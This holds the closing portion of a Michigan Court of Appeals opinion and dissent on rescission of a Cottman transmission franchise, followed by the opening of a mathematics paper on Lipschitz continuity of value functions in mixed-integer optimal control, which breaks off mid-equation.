Even so, Cottman argues that there are genuine issues of material fact as to whether plaintiffs have established a claim for rescission, precluding summary disposition. Cottman argues that a factual question exists concerning whether this was a sale or the voluntary transfer of a franchise. The MFIL provides an exemption from its notice requirements where "(t)here is an extension or renewal of an existing franchise or the exchange or substitution of a modified or amended franchise agreement where there is no interruption in the operation of the franchise business of the franchisee, and no material change in the franchise relationship." M.C.L. § 445.1506(1)(e); M.S.A. § 19.854(6)(1)(e).
Here, the evidence showed that the A-1 franchise was terminated, and a new agreement was negotiated and signed. The identity of the franchisor changed. We find that no reasonable person could conclude that a material change did not occur in the relationship.
VI
Next, defendant argues that a material question of fact existed as to whether plaintiffs waited unduly before seeking rescission. In Interstate, supra, we allowed rescission, even though two years had passed. We ruled that the franchisor was entitled to recover the fair value of benefits provided to the franchisee during the time the agreement was in place. In this case, we find that any delay on plaintiffs' part in seeking rescission did not create a genuine issue of material fact.
VII
Finally, Cottman argues that a question of fact exists as to whether Cottman was returned to the status quo ante. Following the trial court's grant of summary disposition for plaintiffs on the issue of rescission, it ordered that Cottman be returned to its existing state before the contract. At the August 14, 1992 hearing, the trial court directed the parties to submit proposed orders detailing the amounts owed to Cottman by plaintiffs, in order to properly effectuate the pre-contract status quo. Although orders were submitted, the final disposition of the issue is unclear. Therefore, we remand this matter to the trial court with the direction that it return Cottman to the status quo ante. Interstate Automatic Transmission Co., supra at 502-503, 350 N.W.2d 907.
Affirmed in part and remanded. We do not retain jurisdiction.
J.R. COOPER, J., concurred.
TAYLOR, Presiding Judge (dissenting).
I respectfully dissent.
While the majority pays lip service to the fact that the Pennsylvania judgment is entitled to full faith and credit under the federal constitution, its holding deprives the Pennsylvania judgment of the full faith and credit to which it is entitled. Under the Full Faith and Credit Clause, Michigan courts are barred from considering matters previously determined in a court of another state. Jones v. State Farm Mutual Automobile Ins. Co., 202 Mich.App. 393, 406, 509 N.W.2d 829 (1993). This constitutional provision also requires Michigan courts to give res judicata effect to the judgments of the court of the other state. Id.
After correctly recognizing that Michigan applies the doctrine of res judicata broadly, the majority declines to do so and holds that the Pennsylvania judgment is not entitled to res judicata effect with respect to plaintiffs' rescission actions. The reason advanced for this by the majority is that the Pennsylvania lawsuit and the Michigan lawsuits involve different subject matters and different sets of proof. I disagree.
With regard to this distinction between the Pennsylvania action and the Michigan actions that the majority urges, it is well to recall that defendant's five-count Pennsylvania complaint alleged: (1) fraud; (2) breach of contractfailure to deal fairly and honestly; (3) breach of contractunauthorized advertising; (4) breach of contractlicense fees owed; and (5) entitlement to attorney fees and collection expenses under the franchise contract.
*23 It is apparent these Pennsylvania claims are founded upon the validity, and alleged breach, of the parties' franchise contract. Plaintiffs' Michigan lawsuits were premised on a claim that the franchise contract was invalid for failure to include certain statutorily required warnings, and they sought rescission as allowed by the Michigan Franchise Investment Law (MFIL), M.C.L. § 445.1501 et seq.; M.S.A. § 19.854(1) et seq. The Michigan lawsuit clearly also tests the validity of the contract. The lawsuits filed in each state concern the same subject: the validity of the franchise contract and its enforceability. It would seem that even under a narrow application of the res judicata doctrine, to say nothing of a broad rule, that these would be considered the same subject matter. Under such circumstances, plaintiffs' Michigan lawsuits constitute an improper attempt to collaterally attack the validity of the contract that the Pennsylvania judgment found to be valid. Northern Ohio Bank v. Ket Associates, Inc., 74 Mich.App. 286, 290, 253 N.W.2d 734 (1977); Peters Production, Inc. v. Desnick Broadcasting Co., 171 Mich.App. 283, 286, 429 N.W.2d 654 (1988).
Further, even if there were elements in the Michigan lawsuits that were not found in the Pennsylvania lawsuit pleadings, this would not prevent the finding of res judicata. The United States Supreme Court stated as follows in Federated Dep't Stores, Inc. v. Moitie, 452 U.S. 394, 398, 101 S.Ct. 2424, 2428, 69 L.Ed.2d 103 (1981):
A final judgment on the merits of an action precludes the parties or their privies from relitigating issues that were or could have been raised in that action. Commissioner v. Sunnen, 333 US 591, 597, 68 SCt 715, 719, 92 LEd 898 (1948); Cromwell v. County of Sac, 94 US 351, 352-353, 24 LEd 195 (1877). Nor are the res judicata consequences of a final, unappealed judgment on the merits altered by the fact that the judgment may have been wrong or rested on a legal principle subsequently overruled in another case. [Emphasis added.]
The question, then, becomes whether plaintiffs' rescission claim could have been raised in the Pennsylvania action.[1] The majority argues that plaintiffs could not have raised their rescission claim in the Pennsylvania action because the rescission claim is grounded in Michigan's franchise statute and Pennsylvania has no analogous provision.
First, it must be noted that the parties' contract contains a clause stating that Pennsylvania law would apply. While the MFIL forbids forum selection clauses, it does not forbid choice of law clauses. Banek Inc. v. Yogurt Ventures U.S.A., Inc., 6 F.3d 357, 360 (C.A.6, 1993). Thus, it is argued that plaintiffs forfeited their Michigan statutory remedy of rescission when they signed their franchise agreements. This is true, of course, unless application of the foreign state's law will violate some fundamental Michigan public policy. Banek, supra; JRT, Inc. v. TCBY Systems, Inc., 52 F.3d 734, 739 (C.A.8, 1995). We need not, however, grapple with the issue whether application of Pennsylvania law would violate a specific Michigan public policy because application of Pennsylvania law would not change the outcome required by Michigan law. The reason is that plaintiff Martino admits he did not have a valid rescission claim in Pennsylvania and, as explained below, his unclean hands should preclude rescission under Michigan law.
Second, plaintiffs could have argued that defendant's failure to provide notice that certain contract clauses were void and unenforceable under Michigan law constituted fraud or a fraudulent misrepresentation under Pennsylvania law. See Cottman Transmission Systems, Inc. v. Melody, 869 F.Supp. 1180 (E.D.Pa.1994), where a Pennsylvania judge compared a franchisee's rights under the California franchise statutes and under Pennsylvania law and concluded application of Pennsylvania law did not cause a substantial erosion of the protections provided by the California franchise statutes because the protections and remedies provided under Pennsylvania law were substantially the same. Further, plaintiffs *24 could have brought a motion to change venue to Michigan under the doctrine of forum non conveniens with relation to the Pennsylvania action. Such a motion is recognized in Pennsylvania. See 42 Pa.Cons.Stat.Ann. § 5322(e). If the Pennsylvania court granted such a motion, plaintiffs could have asserted in a Michigan court (as they did below) their claim that they were entitled to rescission. As the disposition in the lower court and before this panel shows, they might well have been successful.
In sum, on the basis of the Full Faith and Credit Clause of the federal constitution considered in conjunction with the doctrine of res judicata, I would reverse the trial court's granting of rescission in plaintiffs' favor and remand for entry of a judgment in defendant's favor. I therefore believe it is not necessary to reach the other issues discussed by the majority. However, since the majority has discussed them, I offer the following additional comments.
The majority also states that the MFIL gives a franchisee an unqualified right to rescission upon a franchisor's violation of the MFIL even if the franchisee has unclean hands or has materially breached the franchisee agreement. I disagree.
While the majority's conclusion in this regard appears to be supported by some language in Interstate Automatic Transmission Co., Inc. v. Harvey, 134 Mich.App. 498, 350 N.W.2d 907 (1984), I would not follow this part of the Interstate Automatic case because it is not clear that the issue of equitable defenses was raised by the parties or focused upon by the Court. Further, even if I were to assume the case so held, I would not follow it because it would represent bad law that we are not bound to follow as precedent. Administrative Order No. 1996-4.
The idea that rescission can be awarded to those with unclean hands, which is what the majority has decided, is a novel and disturbing notion, and the fact one panel of this Court may have implied as much, should not cause us to reach the same misbegotten conclusion again. Indeed, the majority's conclusion is directly contrary to Kundel v. Portz, 301 Mich. 195, 210, 3 N.W.2d 61 (1942), which unremarkably stated that "rescission, whether legal or equitable, is governed by equitable principles."
Moreover, the majority's conclusion is not mandated by the language of the MFIL. At issue here is the portion of the MFIL that states that a person who sells a franchise in violation of certain sections of the MFIL is liable to the person purchasing the franchise for damages or rescission. M.C.L. § 445.1531(1); M.S.A. § 19.854(31)(1). The majority states that it can find no language in the statute suggesting that a franchisee's unclean hands are a factor in deciding whether to grant rescission. While the statute does not expressly mention defenses, this is not only not unusual, but the reverse would be. Repeatedly in our statutes equitable remedies are referred to without recitation of allowable defenses. It is assumed, and always has been, that the statutes will be applied in accord with common law understandings and case law explanations that those familiar with these terms of art are held to understand. Indeed, the majority itself proves the pervasiveness of this understanding by utilizing this approach when it requires the return to the status quo ante notwithstanding the fact that the statute omits any reference to such an equitable requisite. Under the majority's logic, the statute's omission of the need to return the parties to the status quo ante should foreclose such a requirement.
There is no good reason why the venerable rules regarding rescission should not apply here. As a general matter, a party may seek to rescind a contract, on the basis of fraud, mistake, or innocent misrepresentation. 5A Callaghan's Civil Jurisprudence, Contracts, § 255, Right to Renounce or Rescind, pp 348-349. In order to warrant rescission, there must be a material breach affecting a substantial or essential part of a contract. Holtzlander v. Brownell, 182 Mich.App. 716, 721, 453 N.W.2d 295 (1990).
I would hold that the Legislature's statement that rescission may be had if a franchisor violates certain sections of the MFIL was intended (1) to inform the courts that failure to have the required language would be a suitable new reason for granting rescission in *25 addition to the previously recognized standards of fraud, mistake, and innocent misrepresentation, and (2) to cut short any claim that omission of these terms was not a material breach affecting a substantial or essential part of the contract. In no event, however, did the Legislature mean to foreclose recognized defenses to a rescission request. Inclusion of the term "rescission" in the statute does not grant a franchisee an absolute right to rescission without consideration of the franchisee's conduct. As in all equitable matters, a trial court should not grant rescission unless the party requesting it is blameless. Stanton v. Dachille, 186 Mich.App. 247, 260, 463 N.W.2d 479 (1990). A party that has breached a contract (as the trial court found Martino had in the case at bar) is not entitled to rescission. Id. Further, to put an even finer point upon this issue in the context of this case, rescission is not available to a party that has failed to make payments required by a contract. Miller v. Smith, 276 Mich. 372, 375, 267 N.W. 862 (1936). If the Legislature wished to foreclose equitable defenses, it could have stated as much in the MFIL.
Therefore, even if the Pennsylvania judgment was not entitled to full faith and credit and res judicata effect (which it is), I would find, on the basis of plaintiff's unclean hands and material breach of the contract that the trial court erred in granting rescission to plaintiffs.
I would reverse the orders of the trial court and remand for entry of summary disposition in defendant's favor and for consideration of defendant's request for injunctive relief enforcing the post-termination provisions of the franchise contract.
NOTES
[*] Circuit Judge, sitting on the Court of Appeals by assignment.
[1] 134 Mich.App. 498, 350 N.W.2d 907 (1984).
[2] 186 Mich.App. 247, 463 N.W.2d 479 (1990).
[1] Thus, the majority's assertion that the issue is not what could have been done differently in Pennsylvania is patently erroneous.
|
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abstract: 'We study the optimal value function for control problems on Banach spaces that involve both continuous and discrete control decisions. For problems involving semilinear dynamics subject to mixed control inequality constraints, one can show that the optimal value depends locally Lipschitz continuously on perturbations of the initial data and the costs under rather natural assumptions. We prove a similar result for perturbations of the initial data, the constraints and the costs for problems involving linear dynamics, convex costs and convex constraints under a Slater-type constraint qualification. We show by an example that these results are in a sense sharp.'
author:
- 'Martin Gugat$^\dag$, Falk M. Hante$^\dag$'
date: 'December 29, 2016'
title: 'Lipschitz Continuity of the Value Function in Mixed-Integer Optimal Control Problems$^*$'
---
[^1]
Introduction
============
In this paper we address the robustness of solutions to optimal control problems that involve both continuous-valued and discrete-valued control decisions to steer solutions of a differential equation such that an associated cost is minimized. This problem class includes in particular optimal control of switched systems [@Antsaklis2014; @Zuazua2011], but also optimization of systems with coordinated activation of multiple actuators, for example, at different locations in space for certain distributed parameter systems [@IftimeDemetriou2009; @HanteSager2013]. In analogy to mixed-integer programming we call such problems mixed-integer optimal control problems. Algorithms to compute solutions to such problems are discussed in [@Gerdts2006; @Sager2009; @HanteSager2013; @SastryEtAl2013a; @SastryEtAl2013b; @RuefflerHante2016]. From a theoretical point of view, but also for a reliable application of such algorithms, the robustness of the solution with respect to perturbation of data in the problem is essential, for instance, in the case of uncertain initial data. We consider the robustness of the optimal value because this is the criterion determining the control decision. Moreover, we understand robustness in the sense that we consider the regularity of the optimal value as a function of the problem parameters.
For continuous optimization problems many sensitivity results are available, see [@bonnansshapiro; @MR2421286]. In particular certain regularity assumptions and constraint qualifications guarantee the continuity of the optimal value function, see [@MR669727; @gu:onesi]. In the context of mixed-integer programming, in general, the main difficulty is that the admissible set consists of several connected components and jumps in the optimal value as function of the problem parameters can occur if due to parameter changes connected components of the feasible set vanish. In mixed-integer linear programming with bounded feasible sets, the continuity of the value function is therefore equivalent to existence of a Slater-point [@Williams1989]. For mixed-integer convex programs, constraint qualifications are given in [@gu97] which yield the existence of one-sided directional derivatives of the value function and hence its Lipschitz continuity. For optimal control problems in general, it is well known that one cannot expect more regularity of the optimal value function than Lipschitz continuity. The following example is an adaption of a classical one saying that this is also true for integer, and hence mixed-integer controlled systems.
\[ex:nonsmooth\] For some ${t_\mathrm{f}}>0$ and $\lambda \in {\mathbb{R}}$, consider the problem $$\left.\begin{array}{l}
\text{minimize}~y({t_\mathrm{f}})~\text{subject to}\\
\quad \dot{y}(t)=v(t)\,y(t),~\text{for a.\,e.}~t \in (0,{t_\mathrm{f}}),\quad y(0)=\lambda\\
\quad y(t) \in {\mathbb{R}},~v(t) \in \{0,1\}~\text{for a.\,e.}~t \in (0,{t_\mathrm{f}}).
\end{array}\right\}$$ The optimal value function $\nu(\lambda)=\inf\{y({t_\mathrm{f}};\lambda) : v \in L^\infty(0,{t_\mathrm{f}};\{0,1\})\}$ can easily be seen to be $$\nu(\lambda)=\begin{cases}e^{{t_\mathrm{f}}}\lambda, &~\lambda<0,\\ \lambda &~\lambda \geq 0, \end{cases}$$ which is Lipschitz continuous, but not differentiable in $\lambda=0$.
For semilinear mixed-integer optimal control problems, we show below that for parametric initial data as in the example, local Lipschitz continuity of the optimal value function can indeed be guaranteed for a rather general setting without imposing a Slater-type condition. Similar results are well-known in the classical Banach or Hilbert space case without mixed control constraints [@CannarsaFrankowska1992; @BarbuDaPrato1983]. Further, we analyze parametric control constraints and parametric cost functions for convex programs. For this case, we formulate a Slater-type condition guaranteeing again the local Lipschitz continuity of the optimal value function. Finally, for convex programs, we can combine both results to obtain local Lipschitz continuity jointly for parametric initial data, control constraints and cost functions.
Setting and Preliminaries
=========================
Let $Y$ be a Banach space, $U$ be a complete metric space, ${\mathcal{V}}$ be a finite set, and $f{\mathcal{\colon}}[t_0,{t_\mathrm{f}}] \times Y \times U \times {\mathcal{V}}\to Y$. We consider the control system $$\label{eq:controlsys}
\dot{y}(t) = A y(t) + f(t,y(t),u(t),v(t)),~t \in (t_0,{t_\mathrm{f}})~\text{a.\,e.},$$ where $[t_0,{t_\mathrm{f}}]$ is a finite time horizon with $t_0<{t_\mathrm{f}}$, $A{\mathcal{\colon}}D(A) \to Y$ is a generator of a strongly continuous semigroup $\{T(t)\}_{t \geq 0}$ of bounded linear operators on $Y$, and where $u{\mathcal{\colon}}[t_0,{t_\mathrm{f}}] \to U$ and $v{\mathcal{\colon}}[t_0,{t_\mathrm{f}}] \to {\mathcal{V}}$ are two independent measurable control functions. Throughout the paper we consider the Lebesgue-measure. Our main concern will be the confinement that the control $v$ only takes values from a finite set. Without loss of generality, we may identify ${\mathcal{V}}$ with a set of integers $\{0,1,\ldots,N-1\}$ and, in analogy to mixed-integer programming, we refer to as a *mixed-integer control system*, where $u$ represents ordinary controls and $v$ integer controls. Let ${U_{[t_0,{t_\mathrm{f}}]}}$ be a Banach subspace of measurable ordinary control functions $u{\mathcal{\colon}}[t_0,{t_\mathrm{f}}] \to U$ and let ${V_{[t_0,{t_\mathrm{f}}]}}$ be the set of measurable integer control functions $v{\mathcal{\colon}}[t_0,{t_\mathrm{f}}] \to {\mathcal{V}}$. By the assumed finiteness of ${\mathcal{V}}$ we actually have ${V_{[t_0,{t_\mathrm{f}}]}}=L^\infty(t_0,{t_\mathrm{f}};{\mathcal{V}})$.
Let $\Lambda$ be a Banach space and consider subject to a parametric initial condition $$\label{eq:initialcondition}
y(t_0)=y_0(\lambda),$$ where $y_0(\lambda)$ is an initial state in $Y$ parametrized by $\lambda \in \Lambda$.
The separation of the control in $u$ and $v$ and the inherent integer confinement of the latter control lets us formulate parametric control constraints of the mixed form $$\label{eq:controlrestriction}
g_k^v(\lambda,u,t) \leq 0,~k=1,\ldots,M,~t \in [t_0,{t_\mathrm{f}}]$$ where $M\in{\mathbb{N}}$ and, for every $v \in {V_{[t_0,{t_\mathrm{f}}]}}$, the functions $g_1^v,\ldots,g_M^v {\mathcal{\colon}}\Lambda \times {U_{[t_0,{t_\mathrm{f}}]}}\times [t_0,{t_\mathrm{f}}] \to {\mathbb{R}}$ are given. These constraints can for example model anticipating control restrictions, where a decision represented by $v$ at an earlier time limits control decisions for $u$ at different times. We discuss an example in Section \[sec:example\]. In cases without mixed control constraints, we set $M=0$.
\[def:solutionMICP\] For fixed $\lambda \in \Lambda$, let ${W_{[t_0,{t_\mathrm{f}}]}}(\lambda)$ denote the set of all admissible controls $$\label{defWT}
\begin{aligned}
{W_{[t_0,{t_\mathrm{f}}]}}(\lambda):=\{&(u,v) \in {U_{[t_0,{t_\mathrm{f}}]}}\times {V_{[t_0,{t_\mathrm{f}}]}}: \\
&g_k^v(\lambda,u,t) \leq 0,~k=1,\ldots,M,~t \in [t_0,{t_\mathrm{f}}]\}.
\end{aligned}$$ Moreover, we say that $y{\mathcal{\colon}}[t_0,{t_\mathrm{f}}] \to Y$ is a *solution of the mixed-integer control system* if there exists an admissible pair of controls $(u,v)\in{W_{[t_0,{t_\mathrm{f}}]}}(\lambda)$ such that $y \in C([t_0,{t_\mathrm{f}}];Y)$ satisfies the integral equation $$\label{eq:controlsysint}
y(t) = T(t-t_0)y(t_0) + \int_{t_0}^{t} T(t-s)f(s,y(s),u(s),v(s))\,ds,~t\in[t_0,{t_\mathrm{f}}]$$ and holds. Let ${\mathscr{S}}_{[t_0,{t_\mathrm{f}}]}(\lambda)$ denote the set of all such solutions $y$ defined on $[t_0,{t_\mathrm{f}}]$. For any $y \in {\mathscr{S}}_{[t_0,{t_\mathrm{f}}]}(\lambda)$, we denote by $y=y(\cdot;y_0(\lambda),u,v)$ the dependency of $y$ on $y_0(\lambda)$, $u$ and $v$ if needed.
According to Definition \[def:solutionMICP\], ${\mathscr{S}}_{[t_0,{t_\mathrm{f}}]}(\lambda)$ consists of the mild solutions of equation and covers in an abstract sense many evolution problems involving linear partial differential operators [@Pazy1983]. It particular, the mild solutions coincide with the usual concept of weak solutions in case of linear parabolic partial differential equations on reflexive $Y$ with distributed control where $A$ arises from a time-invariant variational problem [@BensoussanDaPratoDelfourMitter1992]. For an example, see Section \[sec:example\].
In conjunction with the mixed-integer control system we consider a cost function $\varphi{\mathcal{\colon}}\Lambda \times C([t_0,{t_\mathrm{f}}];Y) \times {U_{[t_0,{t_\mathrm{f}}]}}\times {V_{[t_0,{t_\mathrm{f}}]}}\to {\mathbb{R}}\cup \{\infty\}$ and define the *mixed-integer optimal control problem* with parameter $\lambda$ as $$\label{eq:miocp}
\left.\begin{array}{l}
\text{minimize}~\varphi(\lambda,y,u,v) \; \text{subject to}\\
\quad \dot{y}(t) = A \, y(t) + f(t,\,y(t),\, u(t), \, v(t)),\; t \in (t_0,\, {t_\mathrm{f}}) \;{\rm a.e.},\\
\quad y(0)= y_0(\lambda),
\\
\quad g_k^v(\lambda,u,t) \leq 0~\text{for all}~t \in [t_0,{t_\mathrm{f}}],~k=1,\ldots,M,\\
\quad y \in C([t_0,{t_\mathrm{f}}];Y),~u \in {U_{[t_0,{t_\mathrm{f}}]}},~v \in {V_{[t_0,{t_\mathrm{f}}]}}.
\end{array}
\right\}$$ We will study the corresponding *optimal value* $\nu(\lambda)\in {\mathbb{R}}\cup \{\pm\infty\}$ given by $$\label{eq:defnu}
\begin{array}{l}
\nu(\lambda)=\inf \bigl\{\varphi(\lambda,y,u,v) :\\
\quad \dot{y}(t) = A \, y(t) + f(t,\,y(t),\, u(t), \, v(t)),\; t \in (t_0,\, {t_\mathrm{f}}) \;{\rm a.e.},\\
\quad y(0)= y_0(\lambda),
\\
\quad g_k^v(\lambda,u,t) \leq 0~\text{for all}~t \in [t_0,{t_\mathrm{f}}],~k=1,\ldots,M,\\
\quad y \in C([t_0,{t_\mathrm{f}}];Y),~u \in {U_{[t_0,{t_\mathrm{f}}]}},~v \in {V_{[t_0,{t_\mathrm{f}}]}}\bigr\}
\end{array}$$ in its dependency on the parameter $\lambda$.
For the mixed-integer control system, we will impose the following assumptions.
\[ass:ControlSys\] The map $f{\mathcal{\colon}}[t_0,{t_\mathrm{f}}] \times Y \times U \times \{v\} \to Y$ is continuous for all $v \in {\mathcal{V}}$. Moreover, there exists a function $k \in L^1(t_0,{t_\mathrm{f}})$ such that for all $(u,v) \in {W_{[t_0,{t_\mathrm{f}}]}}$, $y_1,y_2 \in Y$ and for almost every $t \in (t_0,{t_\mathrm{f}})$ $$\begin{aligned}
{2}
&\text{(i)}\qquad &&|f(t,y_1,u(t),v(t))-f(t,y_2,u(t),v(t))| \leq k(t)|y_1 - y_2|\\
&\text{(ii)}\qquad &&|f(t,0,u(t),v(t))| \leq k(t).\end{aligned}$$
In particular, under these assumptions, the integral in is well-defined in the Lebesgue-Bochner sense and from the theory of abstract Cauchy problems [@Pazy1983] we obtain a solution $y$ in $C([0,{t_\mathrm{f}}];Y)$ for all $y_0 \in Y$, $u \in {U_{[t_0,{t_\mathrm{f}}]}}$ and $v \in {V_{[t_0,{t_\mathrm{f}}]}}$. Moreover, the strong continuity of $T(\cdot)$ and the Gronwall inequality yield the following solution properties.
\[lem:bounds\] Under the Assumptions \[ass:ControlSys\], there exist constants $\gamma \geq 0$ and $w_0 \geq 0$ such that for all $\lambda_1,\lambda_2 \in \Lambda$, setting $y_i=y(\cdot;y_0(\lambda_i),u,v)\in{\mathscr{S}}_{[t_0,{t_\mathrm{f}}]}(\lambda_i)$ for $i \in \{1,2\}$, for all $t \in [t_0,{t_\mathrm{f}}]$ it holds $\|T(t)\| \leq \gamma \exp(w_0(t-t_0 ))$, $$\label{eq:aprioribound}
|y_i(t)| \leq C(t) (1+|y_0(\lambda_i)|),\quad i \in \{1,2\},$$ and $$\label{eq:yLipschitz}
|y_1(t)-y_2(t))| \leq C(t) |y_0(\lambda_1) - y_0(\lambda_2)|$$ with $C(t)=\gamma\exp\left(w_0 (t-t_0)+\gamma\int_{t_0}^{t}k(s)\,ds\right)$.
For the cost function and control constraints, we will impose the following assumptions.
\[ass:CostAndConstraints\] The function $\varphi{\mathcal{\colon}}\Lambda \times C([t_0,{t_\mathrm{f}}];Y) \times {U_{[t_0,{t_\mathrm{f}}]}}\times {V_{[t_0,{t_\mathrm{f}}]}}\to {\mathbb{R}}$ is continuous and, for every $v \in {V_{[t_0,{t_\mathrm{f}}]}}$, the functions $g^v_1,\ldots,g^v_M{\mathcal{\colon}}\Lambda \times {U_{[t_0,{t_\mathrm{f}}]}}\times [t_0,{t_\mathrm{f}}] \to {\mathbb{R}}$ are such that the set of admissible controls ${W_{[t_0,{t_\mathrm{f}}]}}(\lambda)$ is not empty for all $\lambda \in \Lambda$.
In particular, under Assumptions \[ass:ControlSys\] and \[ass:CostAndConstraints\], for every $\lambda \in \Lambda$, the set ${\mathscr{S}}_{[t_0,{t_\mathrm{f}}]}(\lambda)$ is non-empty. Moreover, one obtains local Lipschitz continuity of the value function if the perturbation parameter $\lambda$ acts Lipschitz continuously on $\varphi$ and $y_0$ by similar arguments as in a classical Banach or Hilbert space case [@CannarsaFrankowska1992; @BarbuDaPrato1983].
\[thm:LipInitial\] Under the Assumptions \[ass:ControlSys\] and \[ass:CostAndConstraints\], suppose that the constraint functions $g^v_1,\ldots,g^v_M$ are independent of $\lambda$. Let $\bar\lambda$ be some fixed parameter in $\Lambda$ and assume that for some bounded neighborhood $B(\bar\lambda)$ of $\bar{\lambda}$ and some constant $L_0$ $$\label{eq:y0Lip}
|y_0(\lambda_1)-y_0(\lambda_2)| \leq L_{0} \, |\lambda_1- \lambda_2|,\,~\lambda_1, \lambda_2 \in B(\bar\lambda).$$ Moreover, let $K=\sup_{\lambda \in B(\bar\lambda)}|y_0(\lambda)|$ and assume that for some constant $L_{\varphi}$ $$\label{eq:varphiLip}
|\varphi(\lambda_1,y,u,v)-\varphi(\lambda_2,\bar y,u,v)| \leq L_{\varphi}(|y-\bar{y}|+|\lambda_1-\lambda_2|)$$ for all $(u,v)\in {W_{[t_0,{t_\mathrm{f}}]}}$, $y,\bar{y}$ such that $\max\{|y|,|\bar y|\} \leq C({t_\mathrm{f}})(1+K)$ and $\lambda_1$, $\lambda_2 \in B(\bar\lambda)$, where $C(t)$ is the bound from Lemma \[lem:bounds\]. Then there exists a constant $\hat L_\nu$ such that $$\label{eq:nuLipInitial}
|\nu(\lambda_1)-\nu({\lambda_2})| \leq \hat L_\nu |\lambda_1 - \lambda_2|,\quad~\lambda_1, \lambda_2 \in B(\bar\lambda).$$
Let $\varepsilon>0$ and $\lambda_1$, $\lambda_2 \in B(\bar\lambda)$ be given. Choose $(u_\varepsilon,v_\varepsilon) \in {W_{[t_0,{t_\mathrm{f}}]}}$ such that $$\varphi(\lambda_2,\bar{y}_\varepsilon,u_\varepsilon,v_\varepsilon) \leq \nu(\lambda_2)+\varepsilon,$$ where $\bar{y}_\varepsilon$ denotes the reference solution $y(\cdot;y_0(\lambda_2),u_\varepsilon,v_\varepsilon)\in{\mathscr{S}}_{[t_0,{t_\mathrm{f}}]}$. Let $y_\varepsilon$ denote the perturbed solution $y(\cdot;y_0(\lambda_1),u_\varepsilon,v_\varepsilon)\in{\mathscr{S}}_{[t_0,{t_\mathrm{f}}]}$. Lemma \[lem:bounds\] and the assumptions yield $$|y_\varepsilon(t)| \leq C(t) (1+K),~t \in [t_0,{t_\mathrm{f}}],$$ and $$|y_\varepsilon(t)- \bar{y}_\varepsilon(t)| \leq C(t) L_{0} |\lambda_1 - \lambda_2|,~t \in [t_0,{t_\mathrm{f}}].$$ Hence, $$\begin{aligned}
{1}
\varphi(\lambda_1,y_\varepsilon,u_\varepsilon,v_\varepsilon)
&\leq \varphi(\lambda_2,\bar y_\varepsilon,u_\varepsilon,v_\varepsilon)+|\varphi(\lambda_1,y_\varepsilon,u_\varepsilon,v_\varepsilon) - \varphi(\lambda_2,\bar y_\varepsilon,u_\varepsilon,v_\varepsilon)|\\
&\leq \varphi(\lambda_2,\bar y_\varepsilon,u_\varepsilon,v_\varepsilon)+L_\varphi (C({t_\mathrm{f}}) L_{0}+1) |\lambda_1 - \lambda_2|.\end{aligned}$$ Thus $$\begin{aligned}
\nu(\lambda_1) &\leq \varphi(\lambda_1,y_\varepsilon,u_\varepsilon,v_\varepsilon)
\leq \varphi(\lambda_2,\bar y_\varepsilon,u_\varepsilon,v_\varepsilon)
+L_\varphi (C({t_\mathrm{f}}) L_{0}+1) |\lambda_1 - \lambda_2|
\\
&\leq \nu({\lambda_2})+\varepsilon+L_\varphi (C({t_\mathrm{f}}) L_{0}+1) |\lambda_1 - \lambda_2|.
\end{aligned}$$ Letting $\varepsilon \to 0$ from above gives an upper bound $\nu(\lambda_1) \leq \nu({\lambda_2})+\hat L_\nu |\lambda_1 - \lambda_2|$ with $$\label{eq:hatLnudef}
\hat L_\nu=L_\varphi (C({t_\mathrm{f}}) L_{0}+1).$$ Interchanging the roles of $\lambda_1$ and $\lambda_2$ yields the claim.
In the subsequent section, we will obtain a similar result concerning the perturbation of the functions $g^v_1,\ldots,g^v_M$ and the cost function $\varphi$ under additional structural hypothesis and a constraint qualification.
Perturbation of the constraints for convex problems {#sec:constraints}
===================================================
In this section, we show that under a Slater-type condition the optimal value $\nu(\lambda)$ of the mixed-integer optimal control problem in the case of a convex cost function and linear dynamics is locally Lipschitz continuous as a function of a parameter $\lambda$ acting on the control constraints $g^v_1,\ldots,g^v_M$ and the cost function $\varphi$. We need the following
\[ass:Convex\] The map $(y,u) \mapsto f(t,y,u,v)$ is linear and the map $(y,u) \mapsto \varphi(\lambda,y,u,v)$ is convex. Moreover, the function $\varphi$ is Lipschitz continuous with respect to $\lambda$ in the sense that $$|\varphi(\lambda_1,\, y,\, u,\, v) - \varphi(\lambda_2,\, y,\, u,\, v)|
\leq
L_\varphi(|y|,\, |u|) \,|\lambda_1 - \lambda_2|$$ with a continuous function $L_\varphi{\mathcal{\colon}}[0,\infty)^2 \rightarrow [0,\,\infty)$. For all $k=1,\ldots,M$, the maps $u \mapsto g_k^v(\lambda,\,u,\, t)$ are convex, the maps $(u,t)\mapsto g_k^v(\lambda,\,u,\, t)$ are continuous and the functions $g^v_k$ are Lipschitz continuous with respect to $\lambda$ in the sense that for all $t \in [t_0,{t_\mathrm{f}}]$ $$|g_k^v(\lambda_1,\, u,\, t) - g_k^v(\lambda_2,\, u,\, t)|
\leq
L_g(|u|) \,|\lambda_1 - \lambda_2|$$ with a continuous function $L_g{\mathcal{\colon}}[0,\infty) \rightarrow [0,\,\infty)$.
Under the Assumptions \[ass:ControlSys\]–\[ass:Convex\] and assuming that $y_0$ is independent of $\lambda$, we have for each parameter $\lambda \in \Lambda$ the mixed-integer optimal control problem with $y_0(\lambda)$ replaced by a fixed initial state $y_0 \in Y$. Moreover, in this section, $\nu(\lambda)$ denotes the corresponding optimal value function with fixed initial state $y_0$. The subsequent analysis is based upon the presentation in [@gu97], where for the finite dimensional case the existence of the one sided derivatives of the optimal value function $\nu(\lambda)$ is shown. For a generalization to the above setting, we first introduce a Slater-type constraint qualification, a dual problem and prove a strong duality result.
[**(CQ)**]{}\[ass:CQ\] For some $\bar \lambda \in \Lambda$ and some bounded neighborhood $B(\bar \lambda)\subset \Lambda$ of $\bar \lambda$ there exists a number $\omega>0$ such that for all $v\in {V_{[t_0,{t_\mathrm{f}}]}}$ there is a Slater point $\bar u_v \in U$ such that for all $\lambda \in B(\bar \lambda)$ we have $$\label{eq:slaterpoint}
g_k^v(\lambda, \bar u_v,t) \leq - \omega\quad\mbox{\rm for all } t \in [t_0,{t_\mathrm{f}}],~k=1,\ldots,M,$$ $$\label{30}
\sup_{v\in V_{[t_0,\,{t_\mathrm{f}}]}} \sup_{\lambda \in B(\bar \lambda)} \varphi(\lambda,y(\bar u_v,v),\bar u_v,v)<\infty$$ and that there exists a number $\underline \alpha$ such that for all $\lambda \in B(\bar \lambda)$ we have $$\label{31}
\nu(\lambda) \geq \underline \alpha$$ and that the set $$\label{coercive}
\hspace*{-1em}
\begin{aligned}
\bigcup_{\lambda_1,\lambda_2 \in B(\bar \lambda)}
